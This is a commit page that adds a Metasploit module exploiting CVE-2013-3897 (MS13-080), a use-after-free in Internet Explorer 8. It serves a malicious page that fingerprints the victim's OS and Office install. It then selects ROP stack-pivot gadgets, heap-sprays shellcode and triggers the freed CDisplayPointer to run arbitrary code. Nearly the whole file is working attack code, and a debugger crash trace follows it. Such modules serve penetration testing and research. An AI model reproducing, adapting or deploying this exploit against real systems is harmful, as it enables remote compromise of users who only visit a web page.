Land #2510, @wchen-r7's exploit for cve-2013-3897
jvazquez-r7
commit
3dbdc9f848
|
|
@ -0,0 +1,325 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::RopDb
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
|
||||
autopwn_info({
|
||||
:ua_name => HttpClients::IE,
|
||||
:ua_minver => "8.0",
|
||||
:ua_maxver => "8.0",
|
||||
:javascript => true,
|
||||
:os_name => OperatingSystems::WINDOWS,
|
||||
:rank => NormalRanking
|
||||
})
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "MS13-080 Microsoft Internet Explorer CDisplayPointer Use-After-Free",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally
|
||||
found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP,
|
||||
around the same time frame as CVE-2013-3893, except this was kept out of the public eye by
|
||||
multiple research companies and the vendor until the October patch release.
|
||||
|
||||
This issue is a use-after-free vulnerability in CDisplayPointer via the use of a
|
||||
"onpropertychange" event handler. To setup the appropriate buggy conditions, we first craft
|
||||
the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element.
|
||||
If we use a select() function for the CTextArea element, two important things will happen:
|
||||
a CDisplayPointer object will be created for CTextArea, and it will also trigger another
|
||||
event called "onselect". The "onselect" event will allow us to setup for the actual event
|
||||
handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child
|
||||
of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger
|
||||
"onpropertychange". During "onpropertychange" event handling, a free of the CDisplayPointer
|
||||
object can be forced by using an "Unslect" (other approaches also apply), but a reference
|
||||
of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after
|
||||
the CDoc::GetLineInfo call, because it is still trying to use that to update
|
||||
CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash
|
||||
finally occurs due to accessing the freed memory. By controlling this freed memory, it is
|
||||
possible to achieve arbitrary code execution under the context of the user.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Exploit in the wild
|
||||
'sinn3r' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-3897' ],
|
||||
[ 'OSVDB', '98207' ],
|
||||
[ 'MSB', 'MS13-080' ],
|
||||
[ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/10/08/ms13-080-addresses-two-vulnerabilities-under-limited-targeted-attacks.aspx' ],
|
||||
[ 'URL', 'http://jsunpack.jeek.org/?report=847afb154a4e876d61f93404842d9a1b93a774fb' ]
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[ 'IE 8 on Windows XP SP3', {} ],
|
||||
[ 'IE 8 on Windows 7', {} ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Privileged' => false,
|
||||
# Jsunpack first received a sample to analyze on Sep 12 2013.
|
||||
# MSFT patched this on Oct 8th.
|
||||
'DisclosureDate' => "Oct 08 2013",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def get_check_html
|
||||
%Q|<html>
|
||||
<script>
|
||||
#{js_os_detect}
|
||||
|
||||
function os() {
|
||||
var detect = window.os_detect.getVersion();
|
||||
var os_string = detect.os_name + " " + detect.os_flavor + " " + detect.ua_name + " " + detect.ua_version;
|
||||
return os_string;
|
||||
}
|
||||
|
||||
function dll() {
|
||||
var checka = 0;
|
||||
var checkb = 0;
|
||||
try {
|
||||
checka = new ActiveXObject("SharePoint.OpenDocuments.4");
|
||||
} catch (e) {}
|
||||
|
||||
try {
|
||||
checkb = new ActiveXObject("SharePoint.OpenDocuments.3");
|
||||
} catch (e) {}
|
||||
|
||||
if ((typeof checka) == "object" && (typeof checkb) == "object") {
|
||||
try{location.href='ms-help://'} catch(e){}
|
||||
return "#{@js_office_2010_str}";
|
||||
}
|
||||
else if ((typeof checka) == "number" && (typeof checkb) == "object") {
|
||||
try{location.href='ms-help://'} catch(e){}
|
||||
return "#{@js_office_2007_str}";
|
||||
}
|
||||
return "#{@js_default_str}";
|
||||
}
|
||||
|
||||
window.onload = function() {
|
||||
window.location = "#{get_resource}/search?o=" + escape(os()) + "&d=" + dll();
|
||||
}
|
||||
</script>
|
||||
</html>
|
||||
|
|
||||
end
|
||||
|
||||
def junk
|
||||
rand_text_alpha(4).unpack("V")[0].to_i
|
||||
end
|
||||
|
||||
def get_payload(target_info)
|
||||
rop_payload = ''
|
||||
os = target_info[:os]
|
||||
dll_used = ''
|
||||
|
||||
case target_info[:dll]
|
||||
when @js_office_2007_str
|
||||
dll_used = "Office 2007"
|
||||
|
||||
pivot =
|
||||
[
|
||||
0x51c2213f, # xchg eax,esp # popad # add byte ptr [eax],al # retn 4
|
||||
junk, # ESI due to POPAD
|
||||
junk, # EBP due to POPAD
|
||||
junk,
|
||||
junk, # EBX due to POPAD
|
||||
junk, # EDX due to POPAD
|
||||
junk, # ECX due to POPAD
|
||||
0x51c5d0a7, # EAX due to POPAD (must be writable for the add instruction)
|
||||
0x51bd81db, # ROP NOP
|
||||
junk # Padding for the retn 4 from the stack pivot
|
||||
].pack("V*")
|
||||
|
||||
rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2007', 'pivot'=>pivot})
|
||||
|
||||
when @js_office_2010_str
|
||||
dll_used = "Office 2010"
|
||||
|
||||
pivot =
|
||||
[
|
||||
0x51c00e64, # xchg eax, esp; add eax, [eax]; add esp, 10; mov eax,esi; pop esi; pop ebp; retn 4
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
junk,
|
||||
0x51BE7E9A, # ROP NOP
|
||||
junk # Padding for the retn 4 from the stack pivot
|
||||
].pack("V*")
|
||||
|
||||
rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>pivot})
|
||||
|
||||
when @js_default_str
|
||||
if target_info[:os] =~ /windows xp/i
|
||||
# XP uses msvcrt.dll
|
||||
dll_used = "msvcrt"
|
||||
|
||||
pivot =
|
||||
[
|
||||
0x77C3868A # xchg eax,esp; rcr [ebx-75], 0c1h; pop ebp; ret
|
||||
].pack("V*")
|
||||
|
||||
rop_payload = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp', 'pivot'=>pivot})
|
||||
else
|
||||
# Assuming this is Win 7, and we'll use Java 6 ROP
|
||||
dll_used = "Java"
|
||||
|
||||
pivot =
|
||||
[
|
||||
0x7c342643, # xchg eax,esp # pop edi # add byte ptr [eax],al # pop ecx # retn
|
||||
junk # Padding for the POP ECX
|
||||
].pack("V*")
|
||||
|
||||
rop_payload = generate_rop_payload('java', payload.encoded, {'pivot'=>pivot})
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Target uses #{os} with #{dll_used} DLL")
|
||||
|
||||
rop_payload
|
||||
end
|
||||
|
||||
def get_sploit_html(target_info)
|
||||
os = target_info[:os]
|
||||
js_payload = ''
|
||||
|
||||
if os =~ /Windows (7|XP) MSIE 8\.0/
|
||||
js_payload = Rex::Text.to_unescape(get_payload(target_info))
|
||||
else
|
||||
print_error("Target not supported by this attack.")
|
||||
return ""
|
||||
end
|
||||
|
||||
%Q|<html>
|
||||
<head>
|
||||
<script>
|
||||
#{js_property_spray}
|
||||
sprayHeap({shellcode:unescape("#{js_payload}")});
|
||||
|
||||
var earth = document;
|
||||
var data = "";
|
||||
for (i=0; i<17; i++) {
|
||||
if (i==7) { data += unescape("%u2020%u2030"); }
|
||||
else { data += "\\u4141\\u4141"; }
|
||||
}
|
||||
data += "\\u4141";
|
||||
|
||||
function butterfly() {
|
||||
for(i=0; i<20; i++) {
|
||||
var effect = earth.createElement("div");
|
||||
effect.className = data;
|
||||
}
|
||||
}
|
||||
|
||||
function kaiju() {
|
||||
var godzilla = earth.createElement("textarea");
|
||||
var minilla = earth.createElement("pre");
|
||||
earth.body.appendChild(godzilla);
|
||||
earth.body.appendChild(minilla);
|
||||
godzilla.appendChild(minilla);
|
||||
|
||||
godzilla.onselect=function(e) {
|
||||
minilla.swapNode(earth.createElement("div"));
|
||||
}
|
||||
|
||||
var battleStation = false;
|
||||
var war = new Array();
|
||||
godzilla.onpropertychange=function(e) {
|
||||
if (battleStation == true) {
|
||||
for (i=0; i<50; i++) {
|
||||
war.push(earth.createElement("span"));
|
||||
}
|
||||
}
|
||||
|
||||
earth.execCommand("Unselect");
|
||||
|
||||
if (battleStation == true) {
|
||||
for (i=0; i < war.length; i++) {
|
||||
war[i].className = data;
|
||||
}
|
||||
}
|
||||
else {
|
||||
battleStation = true;
|
||||
}
|
||||
}
|
||||
|
||||
butterfly();
|
||||
godzilla.select();
|
||||
}
|
||||
</script>
|
||||
</head>
|
||||
<body onload='kaiju()'>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
end
|
||||
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
if request.uri =~ /search\?o=(.+)\&d=(.+)$/
|
||||
target_info = { :os => Rex::Text.uri_decode($1), :dll => Rex::Text.uri_decode($2) }
|
||||
sploit = get_sploit_html(target_info)
|
||||
send_response(cli, sploit, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
|
||||
return
|
||||
end
|
||||
|
||||
html = get_check_html
|
||||
print_status("Checking out target...")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
|
||||
end
|
||||
|
||||
def exploit
|
||||
@js_office_2007_str = Rex::Text.rand_text_alpha(4)
|
||||
@js_office_2010_str = Rex::Text.rand_text_alpha(5)
|
||||
@js_default_str = Rex::Text.rand_text_alpha(6)
|
||||
super
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
=begin
|
||||
|
||||
+hpa this for debugging or you might not see a crash at all :-)
|
||||
|
||||
0:005> r
|
||||
eax=d6091326 ebx=0777efd4 ecx=00000578 edx=000000c8 esi=043bbfd0 edi=043bbf9c
|
||||
eip=6d6dc123 esp=043bbf7c ebp=043bbfa0 iopl=0 nv up ei pl zr na pe nc
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
|
||||
mshtml!QIClassID+0x30:
|
||||
6d6dc123 8b03 mov eax,dword ptr [ebx] ds:0023:0777efd4=????????
|
||||
0:005> u
|
||||
mshtml!QIClassID+0x30:
|
||||
6d6dc123 8b03 mov eax,dword ptr [ebx]
|
||||
6d6dc125 8365e800 and dword ptr [ebp-18h],0
|
||||
6d6dc129 8d4de8 lea ecx,[ebp-18h]
|
||||
6d6dc12c 51 push ecx
|
||||
6d6dc12d 6870c16d6d push offset mshtml!IID_IProxyManager (6d6dc170)
|
||||
6d6dc132 53 push ebx
|
||||
6d6dc133 bf02400080 mov edi,80004002h
|
||||
6d6dc138 ff10 call dword ptr [eax]
|
||||
|
||||
=end
|
||||
Loading…
Reference in New Issue